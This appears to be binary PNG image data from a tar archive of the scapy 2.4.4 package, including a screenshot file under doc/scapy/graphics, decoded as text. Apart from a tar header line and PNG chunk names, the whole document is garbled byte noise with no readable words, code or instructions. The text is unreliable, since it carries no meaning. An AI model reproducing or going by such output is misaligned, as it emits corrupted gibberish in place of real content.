UÒ÷·ãmU]ǵsêùì4'Äç9ù9§«¦o¥½ýzI¯§­×Õ»ÏáJdæç>縬ͮ?ü=µk‰÷O÷=Žß‘»ŽÔqíÝïÍÿ>úÊÚü¾¶n¯zt·\±¬çÛ\ézhÓ€ÝÓfÛì÷Ρ™ñyûý†k´Wûßcܶ¹[×ÿíöl£(Š¢(Š¢f«Z­Vîê±\ÞÜ•úÃë²°° O_øjU˦¢F>}ìŒl$³¬µm"_iúQ×/ì®LC ÖMXëÆös#“Ÿîz˜Ìž˜_Ëžb€3dàÃ{¢m6õ5ž*iëºÐY—ÃúqM…µ ëñ1ÃC}lÙ¦ÇÚrX¥ÿàu׺»6ß³}ÜÒ7ìß^J¶Ç@©FË™}Reçd•Þ®]õ³¯¸åŠ›b©ÿ—ÚgPÙÎá¡-%}ÏÖÃï·bÓ-u=žï;¨³•v0EҦǶ;Ƕ©”‡}˜Ï i›áA5%öê®ßÿ~ÒûÛz²¦þª£ú…éÉ™Spý¹÷=˜G+½¯ÛÏ/»)´Q?û,⿟ñ¾ƒjØï7TÖTXÞCQEQ5û•5µõ°Õ?öÅYX¸)oEϳ±à<Ò G¶gŠŒ;à¡ÿÐìô3ñr^vö<“ðžok6:fƒ=áXYçûâÁÇîõãSFñZiõØzp«žï×Óç¯D^=ñk]6½²)·õšÚúgÓ­ËΩx;9ŸGú𱲇·XÛíKIÛF45rƒÎyÐhebIÊúl¸+jË3]³ ¤ãÐàåÎwÛæ?k¹Ï:).ê5ØCl ÍúÑÉ!ÓKû¦¢qT¿#{•û=èߟôïÈþn…ó¸ëíh_?ÒrYß3|ú?æ•CŽ<þý÷ÆWOôÿŸÜðk8« 6bùúîe¿ 8OZ­–_šÜØï Á Á Á Á Á ÁK7XVDJ~1K3úòù>#úήn°üL¤Ñ©HˆÍ¢H[Û3è 8»ºÁr_¤PYodN.i°\Ý.Gôœ]}÷XZ@”E Íd=¶³¤íå$\V2F'‡õœM<¼ÐgccÃ/%Òë±¾`馺Éz¬TÕöF22¹³ï7F†õœ.!L •¦,KI0Ü*‹—ü¶H­)ÒX÷Ó]ÓFôœ.ÕjÕ½†PÖ³tƒå‘²†ÆŒ‘HSÔ`™*͈¾ƒ´5*ÀÉ arX¨4… }Ñ~}÷²_=^Ãda`ŠLK«ÕòK“ãá=€\–€\N4XÚt×A8±äB°äâž ë—8$‘ÿá d¡Á8IEND®B`‚scapy-2.4.4/doc/scapy/graphics/scapy-win-screenshot2.png000066400000000000000000000711761372370053500232220ustar00rootroot00000000000000‰PNG  IHDR¡t¹à_sRGB®ÎégAMA± üa pHYs††]¢rIDATx^í½_¨$WžçwäG¿xHªd-=³p%T[ý°f'GÅR2x½)­ÒP¦l:½½&AzhmH 34,Ûlà^Ê=xJ©¶òa†,–Æ2Nt×k‰¥4·aÓìÃÖ”]J˜†œ¶ÚUåœ2ó`ã_ÿ¾'Î/ãÄÉ2ï­[·ê~?âWqâÄ9¿øqu~ù;q^xéG÷Ž !„B!gˆuB¿ùG¯º]B!„Bž,åŸü¯æßqiB!„BÎ :¡„B!äÌ¡J!„BÎ:¡„B!ä̉¾˜ô³ÿþt©n|ç?ýO\ŠB!„fj_Lúó_þïæòKżrå¯mIïßÿ–yð—ÿŸ¤ñç¿rµ!„BÈiñ /4ÊYñ·þÖß6ÿ_n¯y8¶/µÓñÿõ?ý¯Ìù_üg[ò»ï½c¦þ+HÿŸÿÇ/]t̵k×ìvéò>§ÚY/\ûÀ¥Œ¹VéÈ¥yçscÞ‘<ÙØý°£_@áƒkÅyPß?øàâüVܹ*z–˜k”5ô¶j;ðŠì…Ž] ïÀ×^í‹¢½ïØœ“Ú§ / !„r¾8>>ŽÊYò/ÿå¿0ÿÑßþÍð›¿ér y8¶/µNèýÿí¾ù_‹VùË¿üKW£N:çÎ;v{àòßøø³Š“h¾zß%$i^s§ðùÍï¾áÒŽ[·Þ.à.úÿ´H½--}ÇõËçïÔ;ê1à$Ãg^~pÍÜù8ÒAξ÷î|¶™:Gß·ñšØ¤Î­¶ç°WQ{ñøÀÇ,ýYìûeT!„Bž/ôÍxÿÐ_ûµÏnõØ>D¿zëÃÿÎ|4ù}³\Þw9õ|ÿïÿó“Éãöº`fÌ—:ÏÀ‘#–¥8Úâ|o=ÇzÆÔÚG!„rÎÀwBù±úBçB!d7jPB!„Bžµ+&B!„ò$¡J!„BÎ:¡„B!äÌ¡J!„BÎûbÒ¯~xÅíB!„²øŽü.¼úá7Œ„B!„³‡N¨ç¹KBNÂyø[‚ …Œ\!„󈛎÷¿Šeu9Æð#ìåR˜Å1¬ÕˆÕÉ‘öa)N¬gî-}¹–³Œ­lÞN:ÊÍÐ[¢H>Ý®×KóÉdfVv¯™d™ñ¥;&Ÿ-\Î6áÀºÙOR“‡¦gÖ’7)tõ{{ ƒ,7’m9šOÍá¢Ù²LÊ÷¤ütš›•W4eæÊ½‰ MH~ÿ xd^tyjW.ç ×€×-mÀÐ8p^ 7ÆÆY'$˜f;68Ÿ ÓÓM¾±¦õý&X} q¾±í].òÐ~SßpÊ»°[º]Ì&fòåe9ßîÏüåó¥µÓʸo=paÛºâ_ è®^‹d§þ»¶]Ô]ôVËÂÆèýŽ{¯/÷t¥œ(ZÎ73zÆ…úÒQÑß`u8ƒ2›.œÁâXõº/åodaVrÏj½¸ rÏÈßY™åò·âôÆYÈá±MÌÔOÓãÇ$·Àð|„Bºóþûïo$†ç„Âq„¸o$õñ,èg"MÏ‚>YtPëâèáYÎÓä’ ^퀸=p©]]5}†¯­ °^ŸW›M¦¦½Ýƒ[­fz´.œ¤d`“™ ø°«?n· å¦A°_X‘˜õý»6¥Ìð âž3ng6ÉÍÁ°›c r¯çýœccEÒ»^ÇÚÖÿZH÷×BúÏp®ä¿®ý§pø6좷¥,îÐøFœBÛ_N”uèÁïÈêp²ÑÙ.ˆÛ° ›Ù‘õ‘KĹ{m®™û.2ÝØ1„BjPÇóÖ­[vcéøDÔQ…Ó©Àñ¼#ò†ÝÛŸÓ™ŽoEç}¦&•|zdCLb B$Ñš «‡;G¿à€Þ¸r¯Ó@;'J§¥³|l¦ÞHŽú:ýècÜ~¯ˆö‰}J"ýá Ó•è•‚}ˆç·Y‡ö†µ¡xi)tœ1ê÷sL¯‚hîÑ´Ù±D™d1ƒM… ¶¾ïPw&fƒpéªÝ àl7hi†È¼‹Ò×ç¸wPDU»è%„GÐ:GôÂ~¬^BȳJ"?´ä@‡Y…÷„òdxÌÕw‡!Däé€BÈù‚ËvB!„ÁH(!„By& J!„BÎ:¡„B!äÌqN(>‹ä‹R—ußý<|Ô§þ›Pø´“¯B!„\$¼H¨~¬>y*ÎãEü¼7Eà˜*]–ðÄ÷FcÐ9%„ByÞé0¯Oß9Œ­ˆ´ËúÊ_¹-!„B¹ˆN(¦ÕÃe ­ãs·}[¤­l'©K!„Bž'Óê]¦Òáh† .žýØîB!„RGd:^#šJ8H%ÍpŠtq`ê¡lLG¸O!„Bž7¸b!„B9‹ÅÂ¥ºñw>ûw»¼˜D!„BÈéB'”B!„œ9tB !„BÈ™C'”B!„œ9tBMjò‹¤ßþô?‘û\’¿î;Òu5 ü%4Ó|âöêIG¡¾Äž#MŠô(•ÞyÓÑ&=ÈʺȳUjÀy Õöe¢cìy|Pf¤š{b¥ô‰èγMÇ)Ú 2¿ ¢7¡^y4몒&…6è š·Eq®nÀž°Ïп¶¿üøP{Åö¬pX*m«!¦ ß5eƒþÀiïߢ>ÎêUp\í¦w»¬µÕ¦ž?Ð6ÈIÐúØfƒçµ§!äé²G$ôŽˆ®j¤ËobOä+mKx6­Šs|wc1›˜¥K·²œ›•KîBžíµ°•Wf¶0æÅK=s4-œˆ|Ø3ù|ÛŠ<Ÿ›q—!,fªÓ˜u±±L&¹9|àvpnaÃL+œ€Õ⮜ð¡Û‹±²ç“鑹îšÌdv(©•9Z®÷°«ÂþOŽüÇ™ÌînìhåÂ>s‹þZ-L.í(Ì•¶Mfö¸ß¶:bzõZ¸¦xmjïßBo=‰YMMùŒîzw+»Mâ~PYqÎ:Ð{ÿ–Ö¾ðg6õEZº×:Ê›òÎiŽÛ ?þÅ Hã­'õËãþmðcrêŽãžîõÇ6M!ätñœPý}ÛÇê»êØ…“/Û‰Á±ËJöv°„÷xJ\îÛƒa.Îèʶ¢Mˆ¼v=§SWK_ læ†AUGÊæùÔå‰SÝÑ®|Ü·N·b#lâpŠóß{åj‘Ùë;½í7D'Qn, j· p†mÔ´Mqü,Øp¥807úæÒ‹6{Cض®Ô]‹ù‘æwïߨ?9,=Ü]ôÖ•ÝÜ-‘Ôñ°lÛ²Wþe {÷7ù¾ ‡òƒ yzé›»r¡=Ö@ï•MYÜG Î†žyàòç¦?nл˜ÉñÂ)ÎäoöÔqõ•žÜeÅùpOBy2xNè;"pïÛ½8…*MøkÇc ϧŽkÒlÛ€ãpš\rúUA}œb ÌÍ|ÚnÐòmh9 ÂQH„µ,ì+¢Q˜B/"ºˆ vy†)D}ÆC8 n°v‘¶Ò.q.[ô"ú»)ßâ”™œ£?–6g7̽;Gæžç<ÅÚ¶ Ú8ºÅµHÌPn2›ß±ëñ£Ä»è—U[!pô𣓛²¥û—˜õý».Ý fbn²>¾©N”mµöYb6ø¡é(ÅhOô7¹íåôz.B!OŽ`:¾ëÚñ±¨(êâYГ®¿KÄu Åôp‰øû2päÂYu qÅù„S¥\v~¡j]f뀕Ùëä²ø¥òQV¼"£¸„Óëvß²BŸyÃ{’n= 'm|å^%š‡KPD4§[Q9é¤å=—"zKÄâÖéââÙÓIǾŒaûw21Ãa㌠/l›¥ÑÞÿZà>°×Búw9wÎy‡þ­£˜Þö"r»èm*ë^µ½'!«ÎÓÔ‹/¢Næêp²Ñ¹uÛDض¡$ÁÜõ_¤fÞò øb&?DÜû,øúȦ !„œ.nÙÎW%‰H(žíÄ F¿-ò¾Hèj4eð (þ§ÿ22(æÅ¨Ó p¬9êŠÏö):(Õ P1FRQ±.„:uÓÐcqd0¨ÂI@>¦ùÊñ4•Áwa]Ëíe`—ï&ÀQÆ]µ¡8e™9èõÌÑ|j=¯ Nè—rNÍÑ>[/ªNz"NÝxlÖëµ™ˆc¶ÎÌõË^YoÇ?Ð%äâ€Ù^YÏé€BÈ9âÂFB !„BÈéÀH(!„By& J!„BÎç„âtùM?âƒ}]ž3<º hmK{B!„ç/ŠO4áÓHþò›y*Î#œNì맘öׂ‡|î©Ôÿ£"I!„B.{LÇã+–êútùȽ«¯„QUB!„ò¼á9¡ÏÏÚñ„B!ä|™ŽÃî• O¥ Ôdz Ÿ‰<½µã !„BÈùgéøD4*ê¿Ä„g@ñ,hèÄîÊ.WB!„ò,âœPD9õE"?â‹~bMyÍÿÊmäÇêÄ€ž]ëB!„g•="¡„B!„œ :¡„B!äÌ¡J!„BÎ:¡„B!äÌ¡*äyîR„“pþ–`C!#—C!ä<òÂK?ºwü«¾êv}C=ü\’æcéN¬œ~KxÖ½ýði'|Îi¿7áÓQn†zzA¾Ê¸^š|2s;õ ²Ü\º“›ÙÂeDÖØù–óÜ|y93ã~Ïå§²Ú4Î!ÙB}©7ºµ”¸t"é±=oëHt8ÝzӑɽNÓ²~ýPwHݹbi?ïhš›Ã•Û‰P§ë¤¤ƒ‘ö‚vý¨Äìm³!®7Þ?¾®¶þé mÑc»è•­êõﳓ½¡ÍO 8¡yÞþÿ€~ÎK{!ä<óøñc—êÆ«~c œPq6EÞ†ÇéÒÖû Ò~ž–õåk/«çËk"·‚<•¶º¥ÈàP»? ŽÕ‰ TÑüPÄñ­ìÇô£Ì IŽS=žºÅ õÊ¥ÇÙ ñöë%óÛ“Jd Ûòx2ÈŽ—n±e»lZé³®}áÛáÛèççÙ Ìï*RDò=GOì̢Ǣô™ß^ô®•î[ Ê×JP.~-ÒàÜíý‹þ¬;Y½ñ²è‡Î÷ŽÈ`”EëÀ^?¿èßÄnSïZ&Iq¯åYûµÃ½“FηmCbï—Lî‰,Ûî¿_ð7èë‚Mo‰Jº±,…B¡P¬ˆº“ÀÿÜs:^¿)êã…&[ ¿/ú´HÍÑt¿HI¬µ—mle†2ê¬lž |{ã‚j–Ùb;”x½ß“³„…YÊ¿£Aj£xó®Q£/™GŠ¤Ú˜¤“ûæàЏu{’Iý¦ˆ)˜MÄN1:“>>)«»÷Í–¹^Ûv!~-æ`˜Û{`§þ‘޼ú»è=¹ âhšWݱÁq!¼3-"ŸW½~D¤yÃqYv<.f¦÷×FœL—[C¯o®Éù¦r¡õ|u6ôåŸ|’›uï Qïádnnˆg äƒü‹;?Nz½¼qOBy2xN¨®‹Çžûr²óc‚ôަ.§ž,¶:=û°<wrh̃GæE—§vaŠ~Òᤉ8ë–6À¤ÅÀ ñq3ë$%˜î÷q³.6˜F¾ÜTßÓú~¬¾Åa±í].òÐ~a”e&ïè0®Å–.E³‰™|yYηû3¹86›k!Fèp†mëŠ- »z-’ú7ìÚžqßEoµ,lŒÞðC£×/œÈQ´œýmtèêÃã3š·:'XœLgùêu_ÊßȬäžÕzqäž‘¿‘•Ø0ËåoÅé³ÃÅcÅ#3õÎ8~L¦£ÌþÐ ÏG!ä9½éx¦Ø»N§×MÇw ÷Ûd—)ãp:¾2 íSð2––yÉÀîW§ãÛíÇmûX0\}$ ‰×‰Èf:ɹÊéÑ.ýרç}*ÍÓÅUéRö‹ƒ=¶%56Aük*N§öo¤áZàzÛk!:7Óº"]ôG§ã=;éíPy•û6ºÇb?¾~M‡*4Ú+»â6$å£-r=B½¡ØmÝý°¿Ï"z) …²-±)÷&ÿ齘„è%¦Ùý—Œ ×G£”~¾¹Ôü¶hf^€cÍõY©{1IÓm@ÇbÖ­l¨Ó?Ÿ‚>zÃÜÜ‘¼2(”šA"{7rs8év.qf*Sým/’øùaQ"ºVúÌ{i Óœˆ2ÿ"-_ê,^´òÑc1by`[oüE¡:p|.vFžNØ¢ª«è3¿J=õmÛ¶7®lò½þõË6÷o³Þê±ýõjY?¯­?êW‚ÖEô]³ýûT‡ie*é†ÓIÙíŠâ6´¿dü}¤Ãã1Â:„BšÇÒ¥º“œzÅe]ºF„óJbðh—Ç[þÝBÈ“a'ôÂ~'”!Düé€BÈùâÂFB !„BÈéÀH(!„By& J!„BÎ:¡„B!äÌqN(>‹ôv‘¬|>)ü”Àºïš4@]M¬-ßêc}yB!„rÙ#zGD¿ã©Ëoâû¢ÈW܇kiúhÌñ%„B!ÏœP8…*„B!„œœÀ ÅjIÉ ˆZª4ñ¹Ûbj¾­l'©K!„Bž'Ëu¾W$‰EEQÏ‚~l÷ö‡WB!„çÈtü5ÿ¥¡p:‘J”Á~øž]ÉFPή¯—B!„\œ Ç/¼lô~‘´ù¾((ƒý—í^I,/†¯âîB!„ç/&B!„rºÐ %„B!gPB!„ræÐ %„B!gÎ /ýèÞñ¯~øªÛxó]WB ß\÷_Â1¼ ‘öa Ïo‹èËN1ðf}——˜¶IG¹z‹2åy^Ù®×KóÉdfVv¯™d™ñ¥;&Ÿ-\Î6ªWÙì'©ÉÆCÓ3kÉ›ºú½Š=A–ɶͧæpÑlY&å{R~:ÍÍÊ+šŽ2såÞÄ„¦$¿Pž7J:2¹×ieÙDÒctšÉ'—WGQv½œ›‰g„žßo›oË‘´ã°¡É£,3ÒàõòHôºÜÓ!ÖgÅùŒ™O'F/E"ý3–þ ÛVGݵÐk§íW½ÝúWêK½õ<ßè ¯éÒÛEo¬lUoqÿžÐÚü´Ès¹çó™ÛÛùÛÎåo»Ëß+!„c?~ìRÝxõÃoŒ*N¤ÈÛð$]Úz•AZåk‘Xþ-/;î Žûå÷ìj÷ÃcuÒµœ8¾•}q8³ARÉC™Ñ`°I§éȦŠݔA½QZÖÙ’¤¨)mK‹´«Ö•üQêí7ˆØ’lå;½n?Ï3ïØ¶ŒÜ¹Ð†ARäùm³mvé<+ÛÑYÄFÕ['°7m)SHzœÁÞ ÏÄÉÛ¤+×E·^Ûâ׿i¥Lsÿza_ÝýQ^«ÝôÆÊB×öýpr)m|ú"Nh4¿]’͵Ä=½¿ …B¹8"NèNÿséxDÓbŸQêò‘{¥é3LhËÉéòµRËrç$Þ{t÷ÐÈ o†k‹§­+R ŽU \»­M2¸»tÉ 6FpÛñëŠK²¼ãÒqfî\«»÷Í¥mrá—ÅâkâÁíKr¹g¶ò|j†ã.‘¶E4¢é™k?92j®žÖo[œ¸ÞøµX˜ƒáÈ¥Ûú7®·$1룩K醴{Ù8ˆ¤âþ³’©.qoGÙ&÷¼‚È‘Ÿ¹œ2B i¸û-ò¦,/i·!1£AºÉo¼õ¤~y¼¨SG2¸a¦îZàž.þŸG!ä´ñœP¬tP—ßT|G·+¡Ž]8ùwB18v6ì`Ù8ðï†øP–ƒanަc<°_!Ï»;޾Ãàf`nT•q¤,œº"oÜÙ®|ܯLC')œ†ÌÎ&¦÷ÊÕ"³×wzó­>IGE98öí¬lYL[§mŠ#àÇÉ AEq`nô·ΰm]©»ó#ÍïÞ¿1Pßÿѳ‹Þº²›ûÁ9zuŒ‡eÛ–½ò/kØ»¿É÷M8œyzã1•¹+Úc ô^Ù”Å}êlè™.núM?N39^8Å™ü ž:®¾Ò³?J ÷4!„'ÄîÓñuSí¨ÿšÈg^^“<Ùéø.Ò€¼„„©¾7ìÞþ¨î'L20󼌑Ol¤ÄÕUos+r¹zh.ÛãÝÁ´ã+÷¬î6&ó¥Épb!ËÇ›)D€ú2@»½û’J¿W¼($ö)‰ôG',Ðè¤ö!þŒùôhmnXŠ—–ÂG±ôû9¦Weˆ 7¿H‚2ˆºÖéè ^ ʇEÄ ÄÚšìõñ¯¢¢öZHÿ ‹è[—þ­c+Ú¹‹Þ†²÷òš^Ãt´N§ _™^¼‰rЦGYÌ`Saƒ­¿×#01„KEä}„—¶š˜åS¹îrïLš_~[NLï ˆÀvÑK!d?¼·ãß# Çò·E°tgèêT9ÊÀáÄ€æ¿áŽòa^Œ:½Çš§ä1Ðz/zo]l»ì#)7ëX6Ô©û˜†1Xo#Ó|¥»Šsº0®åvв °Ë”@߆®ÚP¾Í¬o–‡oñÂYûRΩ9Úg[o ‹Çf½^›‰ÿ–5Þü¿~Ù+‹çè†.] 6© ó©´ÝPͧSÉó<œ-½îí|¡Ó—Fƒªý ÄúLû¡jW}Û¶ím¿S9¾Ñ,Ó°СëõN·WWØEo¬¬ž«ë 6_@8š›ÃC½ÃËk§m†^Õí§íéx|¹b2iþ¡‘×¼Õ¾mCyþؽ§øû¾MMèß¶¯—BH=÷x;Þ9¡W\ÖÅÁ¾üÐ!„œgƒÇYc/ÆÀ3àæ“æÏ…BÙ:¡„B!äÌÙÇ åŠI„B!äÌ¡J!„BÎ:¡„B!äÌqN(ÞH÷E©ËǺï~Þgn«ÜrÛ:ðv½¯B!„\$¼H(>Ñû4òTP|DÈÏ{SÄw<Û–ðÄçð½QB!„rÙc:^ÐóµvV^"„B!$ÎÓñx–QSà¯v™’¯ƒÓñ„B!Ï;Î ES£—þtxljkÊkþWn« ?V'ôÄèZŸB!„<«ì %„B!ädÐ %„B!gPB!„ræÐ %„B!gP“š<Ï\šrò—ä¯û®ŸhB]ÿsMXÚ³ Ôo[_¾pÀÓýt”m«#χfšOÜ^=é(Ô—Øs¤I‘¥òïÀ;o:Ú¤YYy¶J 8O¡³Ú¾Lt Ò=ÊŒ´BbO¬”ž#Ýy6°é8E{Aæ·Aôf#Ô+ƒf]UҤнAó¶(ÎÕ Øöú×öW‚j¯ØžK¥m5Äô仦lÐ8íý[ÔÇùC½ Žë¡Ýôn—µ¶ÚÔóÚ9 ZÛlð¼ö!„<]öˆ„bÝw]I?Ñ„Ï;ýA‘´`iÏ&®¹mŒ˜ã»‹ÙÄ,]º¥Y¹Ô.Œò± ¶òÊÌƼx©gަSë(Œ†&Ÿo[‘çss£aP[ÌT§1ëbcYß™šÃnǧw*6Ì´ÂΔÞÎjqhLï’Û‹±Ú ̓鑹îªfÒÎÉLêâ¸ä×9PM,V…ýÐ{¹e¼_÷úbG·È5ì ûLÌ-úkµ0Ó£µë±}2³)¿muÄôêµpMq¤f9/~à´÷oéøÔ³4r› »èÝ͆:î‡]xyà4oçû?Ð çôçYûµƒ£¬?$}½Û6$Jø–¹uà‡ ¯ zjIòwìœP¹zý±MB9]:8¡p U”ØŠHmާOø}ÑÓ§“5éH‡ÂùØ•˜þË=ü»2Ã|dzGS›ç| \3÷ïvs­:GÌѼÑn`n„ÁØ9y÷OêNmýBºõÅàFß|YxC­ ךƒk.*gEÉë¹DtÒžÿ†1‡-]3› ìÄ–?)«Ã;æJàpúmÛÿZøýûèJ‘WÈ~÷€UÖßEo}Y½Ú@½Cùa‡í ûèñ/‚­ÈŽ]Yqên\}`óòI‡k'÷~HâÞ„ub6ôå¹'&òÛ¸éÇÉ¡”»(0úríþ>càÀ}G÷4!„'Cà„~&‚‘|ôôm‘ÿÜm15’Οìcõ¤àø´tB><¨ ž'å’óÈæË3Á(öà‘y±È²ö@^¼;iu´€–o§Óy2¹×¾©FÐu¡Œ¾ƒmä>P_Ê?þ‘âÜôeÌå¡t5ÎGØÞÓ„Bžú¦H—¥7ckÇ£.žóÔ%=Ÿ<Šéá¬\bw|—À硌mpªBtí2sŽrf9w{õT'û˜Þ%uy›yðÈYŸ^—\z…>kñ˜A00#2iIfé{uûÐaºÎ úgß§ìµ€3~¥ï¦·E§8 ±¶uÅ¿è^{-¤¦®o:öo±m£ì¢÷TlXoî_{oZV¦÷ÊU—n÷[ì÷Âê°p€!íݳÁ#i·_}<¡ŽÅ½åf:÷4!„'à /ýèÞñ¯~øª$ñœ'¦Ù …C Âç35Jéçû‘KÍo‹fÖé8Ö\Ó·x¶OÑA©v€Š1g1F¨Ó?Ÿ²œç¦7ÌÍÉ+ÇÓÔ Ù»‘ÛéÀ.Œ¤¾ï&@/èª ‹ÔÏÓˆiħÒgë¥8aÅ´,žéÓø^ iùR'žéºt‹ÙËÛz‹h¬â—ãs±³³3¿¡è3¿J=õmÛ¶7®lò½þõË6÷o³Þê±ýõjY?¯­?1-=<(£ŒZw”ɽê²ýûT‡iÅ>;ëÒ1­ 1ˆÛ¿wüséðxŒ°!„f?~ìRÝxõÃoÔ ½â².]#BÈy%±ÏŸ6M­‡àq<öA!ätÙÇ Ýãíøç: „\ñÏF)PB9G\ØH(!„B9 %„B!ÏtB !„BÈ™ãœP¼‘®â/¿éçC|°¯Ës†Ç #ö'Ÿ¶¥= !„BÈóŠ Å'šði$,Ëéƒ< kÇcÿ{ÈP×w^±„glU%õÿ¨HB!„ ÇÓñpRÕ!õ׎÷W÷!ÆZ´~Œ0ªJ!„Bž7<'+ÁÔå7ä©t%Ô± M*!„ByˆLÇ¿a÷J§Ò„NÉû+.B!„²ÍÓñ Å”<ž Ø]Ù%âJ!„BžE"Nè5‘[EÒNÇ#"Š2Øßpdz Ë"Ùê¾ç¶ª—B!„\œ ÇRßfÇËFïÉÊTr‰8wï¯Í5sßE¦;†BÈ Øc:þuTát*p<ïˆ<#kÇËà¼ÏÔ¤’Oì`ˆ©@ Tˆä ZSaõpçèÐWîuh'âDé´t–ÍÔÉQ_§}¬ƒÛïÑ>±OI¤?¼aº½R°ñü6ëÐÞ°6/-…Ž3¦Qý~ŽéUÍ=š6;–(“çEí$à¢|ØÛ´%Ö6Ðd¯-ðˆ‚½Ò¿ÃÌæuéß:Я•©þ]ô6”¸×ü{çÀäYñã è„•,êæOLJ,f°©°ÁÖ÷êÎÄl.]µôœí&-Í™wQú:à÷Ѝj½„BöýÅí^Ôé „<«$òCK~t˜õPøwO!O†Ç{¼a¿ʈ‹"òt@ !ä|qa#¡„B!ät`$”B!„<Ð %„B!gPB!„ræ8'ŸEòE©ËǺï~¾ êsËmëÀ§|}„B!ä"áEBõcõ!ÈSp,âç½)ÇT鲄'¾7ƒÎ)!„BÈóN‡éxxúÎalE¤]ÖWþÊm !„BÈEÄsBë֎׈g˜ßÄÓ[;žB!„œ"Óñ]¦Ãßv[Ôų ¨ÿôÖŽ'„B!çŸÈtüçn«èT¼:§p65jªyJ—gAê¡lLG¸O!„Bž7œ ÇR£—xÉHA¾/J,ÄòbøõÃò]êB!„g™/&B!„rºÐ %„B!gPB!„ræÐ %„B!gNÅ ÕwÕ»¼Ÿ{§½kÝóEjòq{õ¤£P_bÏ‘&Ez”Ê¿ï¼éh“de]äÙ*5$¨—LØïë8°©8ÿv_„¨Þ­rÉ@ò«N8ôŽœbØÑÅÞ¦óçùÈnwÑ[W6Ï.ÕN6êZV®¥´øçªkÊ„}VGÌ^¿mÐÝÖ(ZØRêR›p¯gî†hÓå£}“¤rýÝõ!%ø[îÔ—¸.îZ`«×‚BH;Ö õ#˜Øê*ðØê1=Âý]yYäý"¹ÅIô*‹ÙÄ,]º•åܬ\rò|l…­¼2³…1/^ꙣ) 9>ì™|¾mEžÏÍjX-f&ŸÌÜ^³>²éÃInúãÂZÌôür¸ØÔÓk¯q_ò·ð{ Å÷EqSÿÄõ–ÀiÎóòxW½`—²1&³»öµ³Ú´a2=2×Ýå©ë³õ\Úé³]榶é5†-¦×·yp¦®]‹Ù'’=¶é]˜Ìívµ(¶MXXÎgÅ9ë@ìAü[º¸æÒQßÔ©¿û àloÊ;ǻΆMžWiÅOÛNÔýáhÅÕG¹q¿gÆA~Œ|x°¹GËõ^ׂB.*Ö õ£˜ØÂIØÆ"œáþirº18vYÉÞ–ðO‰Ë½b{0ÌÅ'åÁ£­h "¯»žs1›—HŠÑÈc;§éu»ÑAX£8p|®‹¼Wœó»/ý^é¶¬ôƒÚÛsçRÊÁ©pÇVà”7^é3\_µ¡5ò±×oÛ\~´tÎÒRœ_põ•žu\Qxt]'EíZοt9qÆC¯l¯üËöîoòý>Ã%äé] Ûç®dh5Ð{eSVïû¨ ÉÀþèCÞô¨åg˜”½ãê㇠ÚpCœM8‘6R8äIC_˜_‡^‹CùñK!¤;/&ù‘Ðg ×L18¶!ãÏ©rÉéCôÐ…·^,6Å`&ÒÕ騲0ùtnë߸‚ýj„UuïÇrS_£8pÎï»ÁÝô[#Wµ¤£Âw좷®¬Ú Ÿò42¢mˆŒ·á;Tm‘¯˜½~Û†âŒvé_DæÔÑ{(þ–ê<ÔP¸ y8omzµìÁpÜâДe]Žô–Yß¿ëÒÍ`† æ×ûQÈêä@éPâXÁ¶ ÉÕWÌݲùͼxÉ:ž…ñhp8ÕqïúC%Dí"„²N(þg‹„>INêðb0ЩÆf’Mdiàh†³êðAÊ ˆH—rÙ l:Py>Ãn¬Ä•úŸ~øèÈ&ìÏAw-üÇf!„´óÂK?ºwü«Úðšu}‡ó5‘;"ø­:¤x¡È_!þšÈW"¡óØä¸6• mˆÿÙ‹³A”ppib$åfˆ:uSãã!¦ ×’W ¨ˆ’•ãi*ƒïÂ<º–Û)Ê.„mÃt#è^¯×fâ=‹ˆ6ø.$œjÌáÔ})çTç¢N/(t/EwéÜfR¿'ãúòhnf‡e‹ºê…NÿJW½ VVû~>Šc(€CØí ¾PFÇÎS×6½îaŸY'ôúåÊ9­½rÝæŸ|R±WÛ†)_¿(ïçÕ]㘠Ú7ëåÑV»C½›²ajŒ2Ó?è™#¹‡›ë'¿pDU7ôªn?(óX:³Ëùð¢”ÿ±³÷h5Óû∾r¿˜:—ë‡Òâ íHþùbÃ'bì ÿ†}ôÁ±lš’W˜åØûG&!„<ã<~üØ¥ºñê‡ßTЋ„?@Bžm0µ¿qB !„œ9û8¡ÓñÏ3t@ !„BžÖ %„ÈSú {ìëÚJHããM tü´HFAý?*’„B!ä±Çt<¾Z¨©ÿõÐ6bõ•0ªJ!„Bž7<'ôc8€ŸÛ½ä©t%Ô± M*!„ByˆLÇ¿a÷J§ÒêãYÐÏDÞD!„B!Qö˜Žÿ@D£¢þKLxÏ‚†Nì®ìq%„B!Ï"Î E”S_$ò#ž±èçû"šUã}«zbt­O!„BžUöˆ„B!„r2è„B!„3‡N(!„B9sè„B!„3‡N¨ç¹KBNÂyø[‚ …Œ\!„óÈ /ýèÞñ¯~øªÛUô õðsIš¥;±r@^ømP,áY÷ö;À§ð9§ýÞ„OG¹êéø*àziòÉÌíÔ3ÈrséNnf —!Xcç[ÎsóååÌŒû=—ŸÊvhÓ8‡doõUH¤ÞxèvÖRvâÒ‰¤Çö<¾­#Ñ}àt7êMG&÷:MËúõCÝ!u犥ý¼£inWn'B®“’FfØ?ÚUô£³·Í†¸ÞxÿøºÚú7¦7´Eí¢7V¶ª×¿ÏNô†6?-à„æyûÿbøm8/í!„óÌãÇ]ª¯~ø1pBÅÙy§K[ï3HûyZÖ—¯½t¬ž/¯‰Ü òTÚê–"ƒCíþ(8V'2PEóCÇ·²Ó2ƒ$9NõxZè'Ô+—gƒÄÛ¯—ÌoO*u’lËãÉ ;N\ºUÄ–í²i¥Ïºö…o‡o£ŸŸgƒ2¿«HýAÉ÷D=±3‹‹JÐg~{ѸVºo%(_+A¹øµHƒs·÷/ú³îüeý]ôÆË¢:ß;"ƒQ­{ýü¢»M½k™$Ž–gí×÷N9ß¶ ‰½_2¹'²l»ü~Áß ¯ z4½%þ}(鯲 …B±"NèNÿsÏéxý¦¨šl%ü¾èÓ"5GÓý"%±Ö^¶Q°•ʨ°>²y2ðí ªYf‹íPâõ~OÎvf)ÿŽ©âÍ»F^¼d=(’jc’L>+âÖíI&õ›"¦`6;ÅèLúø¤¬îÞ7[æzmÛ…øµX˜ƒanïú7F:òêï¢÷ä6ˆ£i^ytÇFÇA„ðδˆ|^õú‘fä ÇeÙñ¸˜˜Þ_q2]n ½¾¹&ç›Ê…ÖóÕÙЗs|òInÖ½ƒF½‡“¹¹!ž% ò/îü8éõò>Ä=M!äÉà9¡ºvüi|,KxîËÉÎA Ò;šºœz²|ØêôìÃò@ÜÉ¡1™]žÚ…)úI‡“&ât¬[ÚGx+ 